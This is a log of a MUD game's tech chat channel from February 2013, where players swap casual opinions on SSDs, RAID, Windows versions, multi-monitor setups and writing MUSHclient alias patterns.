T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: mobile phones cause you to crash, walk into roads, walk into lampposts, walk off buildings, turn into a txt-speaking idiot, and generally devolve human civilisation
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GraySong Gregor Tech: Do you think it's bad on moral grounds to leave aardowlf on all night when you are clearly sleeping and not playing?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: Yes!
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GraySong Gregor Tech: what about the electricity?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is that a question?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I leave aard connected virtually 24/7
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GraySong Gregor Tech: is it not contributing to oil depletion?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: are you asking if electricity is moral?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GraySong Gregor Tech: well, specifically using electricity when there is no apparent gain since you are asleep.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: Gregor = Igor de Troll
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: utilization of non-renewable natural resources is not inherently immoral
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: some would disagree with you
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: they wouldn't if they allowed for a definition of terms first
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ophelion Tech: i'm sure the ones who would disagree are gredy for money.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Martini & Tyebald Tech: debate would make an excellent channel for this discussion.  if only because I don't have debate toggled on.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: Gregor: Were you nochanneled on Debate and Gossip again?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ophelion Tech: greedy*
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can't be blocked on just one channel
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GraySong Gregor Tech: I come here for all my technical advice. I'm deciding on whether to leave aarwolf on all night so I don't have to turn my computer on in the morning.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: turn it off
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you should get a computer that turns on faster
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ophelion Tech: if you want to, go right ahead.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mine goes from off to desktop in 5 seconds
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: Put it in Hibernation mode or give it to Tiger's nuts.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: use the pwr-management sleep mode
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GraySong Gregor Tech: So do you turn your computer off at night Fiendish?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Gregor: yes
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: do you still have to hack the registry for the fast startup, Fiendish?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Hanslanda: I don't use Windows, so no.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GraySong Gregor Tech: I have a linux distro that boots in 20 seconds or s
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ophelion Tech: i think it's called SSD's
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish nods at Ophelion.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: computers boot a hell of a lot faster from an ssd
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: though you could probably also use something like...hmm...hold on...
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: 1995 called, they want their important computer question of the time back
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: i disconnect the phone-connection, to avoid damage from lightning strikes -- fuses are a pain to rewire in the telephone-line surge-protectors
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: Tigernuts: eTiger?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Mohan Tech: what ssd means?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: Solid State Drive
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ophelion Tech: solid state drives
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: Same tech a Flashdrive is, but bigger.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ophelion Tech: a new form of hard drive if you are wondering.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: fast low capacity storage that has swapped failure due to mechanical moving parts with failure due to limited lifetime read/writes
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: well I can't find the name of it, but there's some software package that re-orders files on your hard drive so that the boot process doesn't cause head thrashing
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: pay your money, take your choice
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: I am interesting in quantum computers and the program involved. It sounds interesting with yes, no, and maybe.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: quantum computers are a myth 
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: yeah, but MS deliberately made a key that held a wait time for start up.  Back when G4 was still Tech TV and didn't suck, there was a gizmo tips show (the host looked a lot like Gil Grissom from CSI) offering advice on new components, stuff like dual-booting, and DIY projects like the YBox gaming system (an all-in-one custom case housing the internals from all the major game consoles).
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's not a myth and it's not yes/no/maybe
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: it's yes/no/both
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: I read it as maybe.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: some form of optical or biological computers are more likely
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh, it's called E4rat
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: but are biological computers ethical
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: E = ?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: it's not maybe.  The computing devices we have now are based on the binary system (0s and 1s).  Quantum data can be stored as 0, 1, or 2 (the 2 indicates a combination of an unobserved state)
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: e4rat stands for e4 'reduced access time' 
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: e4 is ext4
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: it's also a crap tv channel
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ext4 is 4th extended filesystem
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Arystul Tech: so... no more windows media player on windows 8?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: use vlc
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: use vlc
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oops
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Popa Tech: VLC seconded. Also, reformat and install Windows 7 first. :P
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya vlc
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Atoam Tech: MPC > VLC
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger shakes Atoam's hand.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Wrong shake
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Arystul Tech: I like windows 8 just fine tyvm
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: I like aTube to get YouTube videos.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Windows 8 works fine, there's just no real incentive to move from 7 to 8.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: Cheezburger: Pretty much. Windows 7 is better than Vista, but I liked XP more than 7.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ylar Tech: Eh.  I loved XP.  I like 7 better.  Vista was "OK", mostly because I was overkill on the system specs and so it ran quite well.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: I find it funny that MS is charging $100 US a year to use Microsoft Office in the cloud.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Mushambo Tech: If I want to do a three monitor hookup, it only requires a second graphics card? Or a more complicated setup?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that depends on your graphics card
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Mokg Tech: depends on your motherboard, but yes two graphics cards will do it
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there was a card a while ago that could do 3 monitors
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Quadrapus Tech: I have a GTX 680 that does up to four by itself
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Mokg Tech: if you have onboard video you can use that and a card with 2 connections for 3 monitors
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Mushambo Tech: great thanks!
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: since when can computers use both onboard and external graphics at the same time?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Atoam Tech: They can't.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Mokg Tech: they can depending on the motherboard
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: Popa nods at Mokg.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Atoam Tech: Or they can.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Atoam Tech: I'm just listing possibilities here.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: onboard is really just an external that happens to be on the same wafer
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sure sure, but this is a driver interface problem
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's been a stupid barrier for a really long time
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: no real difference between onboard and external, and two externals...now shared vs real/discrete is a difference
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: my understanding is just that operating systems haven't had a hook for multiple display hardware drivers at the same time
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Mokg Tech: a quick google shows lots of people use onboard+external at the same time
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: definitely has never been an issue of Macs since their introduction...windows pretty much sucked at multiple monitors until XP, but seems to have been pretty good since
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: maybe you're thinking about that you have to disable onboard if you ONLY want to use the real card...that's a situation that comes up often enough
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: because without onboard being disabled, the low-level stuff would be going to that
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Atoam Tech: Every machine I've tried it on will automatically disable the onboard if there's an external plugged in. Can't speak to Macs though
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: dumb newb question: to figure out power needs for my dream box, I just read the specs for everything that plugs in?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: In theory, yes. In practice, try.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Stuff tends to use less power than specs say. Or sometimes more.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: how much more is more?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Well, in my experience, most things tend to use a little less than specs. But sometimes specs are wrong. But not that often. Also, specs are for steady state, start up can be more. Only way to know is to try.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the odds of you actually using peak power from all devices simultaneously is vanishingly small
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if it's even possible at all
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Well, at start up that can happen.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: If you've ever tried to start up a whole datacenter worth of gear after a power outage, you know how nasty start up power can be....
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: a datacenter which starts up after a power outage failed at being a datacenter...
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: A datacenter that has a power outage failed. Stuff happens.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: no, it's perfectly fine to have a power outage
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: as long as you don't have all the powers outage
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Not everyone is perfect, like you, Abe.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I was once in a hospital that lost power
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: we're not talking about perfect...that's utter disgrace
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: a datacenter without a genset is just some guy's basement
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: As I said, shit happens.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Sometimes things don't work.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Atoam Tech: Some guy's climate-controlled basement.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: my basement is climate controlled
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Leinei Tech: And a football stadium without power is called Superbowl XLVII
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Jangel Tech: haha
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: the football stadium's job was to keep safety lighting on, which it did...a datacenter's job is to keep the server's powered
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: the servers should all be on UPS that provides a few hours worth of power, and those should be backed up by a diesel generator (or a few) which then provide unending power to the appropriate circuits...if those two elements don't exist, it's not a datacenter
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: I've had 2 outages at places I've worked, even with those things. In real life, things fail. And people make mistakes. Fortunately, not me in those cases :D
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: It was a while ago though.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: And in a real DC, UPS only has enough power for the diesel to start or for a techie to start it. Usually like half an hour or so.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: UPS are expenive.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: they are, but runtime isn't
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: the expense is in the conversion
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Yes, it is.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Rabshakeh Tech: does anybody know a webpage i can go to to see what files i should copy from an older aard mushclient to a newer one in order to keep all my alias's / mapped areas + exits etc in the new one?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: www.aardwolf.com
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: click the screenshot, click download client
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: that page tells you everything
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: For a gaming system.. any thoughts on multiple magnetic drives in raid vs singular SSD?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Flach Tech: Online gaming or local?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: I think SSD would give you better performance
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Anymore theres hardly a distinction.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Nod.. I just know SSD is more costly then a couple of magnetic drives, for less storage
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Flach Tech: You might see a marginal performance increase with the SSD.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Mokg Tech: ssd's only help with load times
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Nod, I know Mokg.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Mokg Tech: they will do pretty much nothing for in game experience
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: yeah, if cost is a factor, go with raid.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Mokg Tech: if you want faster load screens get the SSD, if you dont care about them regular HD's will be fine
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Flach Tech: Only in-game benefit is if there's a lot of on-demand local data loading
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: For things like SC, I at least personally spend quite a bit of time at load screens
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Mokg Tech: then an SSD would be good if you want to cut down on them
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Nod, just meant vs a raid setup.. Really I'd like to use a 32-64GB ssd to cache.. but my chipset is the one just before intel implemented that
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Mokg Tech: raid speeds wont compare to a sata 3 ssd drive
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Fair. Maybe upgrading my mother board might be a better option
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: raid isn't for speed
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Maybe, but certain raid configurations will give you improved speed.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Admittedly, ones that should be droping the R from the acronym.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no they wont. only striping will increase speed and striping isn't raid
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so yeah. AID
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Which is still referred to as Raid, fiendish. And exactly what I was just talking about =p
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: anyone sane doesn't talk about "RAID0"
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: maybe that is why it is raid0 cause it is 0 amount of raid
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish nods at Vorpal Vorpes.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Still generally reffered to as raid though, vorpes. regardless of the actual redundancy
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: hey i call it raid0 but it really doesn't have redundancy
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's also a really effective way of significantly increasing your risk of data loss
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Flach Tech: This is why I let the network guys do all the work with this stuff, I'm just an administrator :P
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Daloran Tech: Purely gaming system. Data loss is a non issue
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Flach Tech: Though there are advantages to being an admin on the largest private network in the world.  Yay for sux0r VPNs!
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Daloran Tech: Guess I should just bite the bullet and get a moderately sized SSD
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: they're not that expensive
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Daloran Tech: Still quite a bit more then a magnetic drive
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I've had a 120GB ssd for a few years now
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sizes have gone up since then
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not that you really need larger
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Taste The Alestorm Tech: What's the price of an SSD these days
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Mokg Tech: its generally less than a dollar per gigabyte. pretty affordable imo
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: my 160gb was like $120 i think
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Daloran Tech: 120GB isn't much when you're talking game storage
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Flach Tech: You can get a 256 for like $200 now
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Taste The Alestorm Tech: that's cheap
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Flach Tech: Really just depends on if you're going with Crucial, OCZ, SanDisk, etc
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Taste The Alestorm Tech: you even get 450 gig SSD but that's insanely expensive
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Daloran Tech: I hear good things about Samsung
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Daloran Tech: Anyone know how well the intel macs run with windows installed? Equivlent to the same hardware from a PC manufacturer? for games and the like, is it comporable to an equivlent videocard/cpu in a non-mac pc?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not exactly the same
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't think apple keeps the bootcamp drivers up to date very well
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I remember having fan issues on an old powerbook
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Daloran Tech: Ahhh I was thinking since you were installing windows, you'd be using the Nvidia drivers
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Daloran Tech: or intel/radeon as the case may be
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there are more fundamental hardware problems like fan control
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: keyboard lighting
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and so on
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Daloran Tech: Ah really? That's pretty sloppy if its still true
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I have no idea if it still is
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Daloran Tech: Well, worth looking in to. If things like fan speed are having issues, performance is almost an aside to that
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not insurmountable
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there are things you can install to customize fan speed control in windows
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Daloran Tech: True too, I guess. Though, looking at then, $1800 minimum, probably likely $2200. Some reason I was thinking the lower end macbooks had the nvidia graphics as well, my mistake
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: mapper question... why is it my mapper wants to take the labryinth portal and run from there instead of the planes portal and 13th pool to get to mirror realm?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: i have the planes dropoff mapped, it just seems that hte mapper doesn't want to use room portals?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: how do I drag main output window in mushclient?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}BobTheGreat Tech: Grab the top.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: TY
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: is there a way to undock the text input line?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}BobTheGreat Tech: Not that I know of
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: firing this thing u for the first time, so will likely have several anckle-biter questions.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: last time I used a mud client was zmud on a 800x600 screen
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: I have no idea what to do with all this gorgeous screen realestate
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vost Tech: I had to upgrade to Windows XP to use the modern MUSHclient
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: looking for the font controls for the main output screen... found them on right-click for the satalite windows.  cant find controls for main, though
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: game->configure
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: in lau, if I want to add a variable to the end of an alias when I type it (cast fireball x), what is the format when making the aliase?  I thought it was %1
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Redryn Tech: possibly have to put "%1"
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: it doesnt even recognize it as the same alias.  once I add the "target", it thinks Im just ryping crap into the screen.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: assume i have an alias "pp" for primary attack spell.  if I type "pp", the client returns 'cast flame'.  I need to add the name of the target when I type the alias in, but when I type 'pp monster', the alias 'pp' is not send to the mud.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Rondel Tech: try pp * and have the alias be cast flame %1
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: do you have regular expresion toggled?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Rondel Tech: if u type pp + target name it will sub it
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Rondel Tech: or the first letter etc
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Redryn Tech: mushclient - pattern pp*, send cast flame%1
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: pp* is a horrible pattern
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: rondel, that is what makes sense to me, but theres something critical missing.  scars: i dont know.  I will try to check
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: Just type pp mobname
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: it should sub the pp for cast flame
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: ffs, read the history styx..
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Rondel Tech: that would be pp * styx
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: pp * is still horrible
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: i believe the problem is that you have your alias set to regex
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Redryn Tech: i omit the space so you can type pp and have it fire without a target
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: you want something akin to pp %w
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: or just turn of regex?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: you can still have it fire without a target Redryn
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: I dunno the MUSH pattern matching syntax that well tho but in cmud it would just be pp (%w)
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: considering that you've yet to offer a solution to the problem of pp mobname not already working...
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Redryn Tech: if you don't know the mush pattern matching engine...
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: I know enough to to tell someone to use pp*
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: using pp* would probably work, until you have an alias thats pportal, or whatever, then you have an overlapping match
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: and that sucks
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: The River Styx nods at Scars.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: Just a bad habit in general
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Thunderous Norton Tech: i use ^pp(\s+(.*)?(\.)?(\w+)?)?$
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: that looks good
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Chimeishio Tech: I have something like pp *, then set it as a script and Execute("c something %1")
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: if you type pp, does it work?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: or do you have to always type the space after
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: what norton has is ideal, imo
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Thunderous Norton Tech: i went through it a year ago on tech. i wanted a pattern that worked as pp   or pp mobname  or pp 2.mobname
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: does mush not allow you to do Alias: pp  Value: pp  and that would match anything after pp?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: does mush not allow you to do Alias: pp  Value: pp %0 and that would match anything after pp?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Chimeishio Tech: sorry, I set it up with if and case statements
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: ive gotten to where "pp mob" at lease recognizes that its an alias, still.  now I am trying to get it to recognize"mob" as the target
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: styx:  thats what I say... should work
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: it would on zmud/cmud but MUSH is alittle different.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: vonliege:  why not use what norton has?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: because I don't have a clue what any ofthat means....I'll use it and try to understand it
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Redryn Tech: and that's why pp* is the best in this situation :p
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: that worked... I have no idea why, or what any ofthat means, but it worked
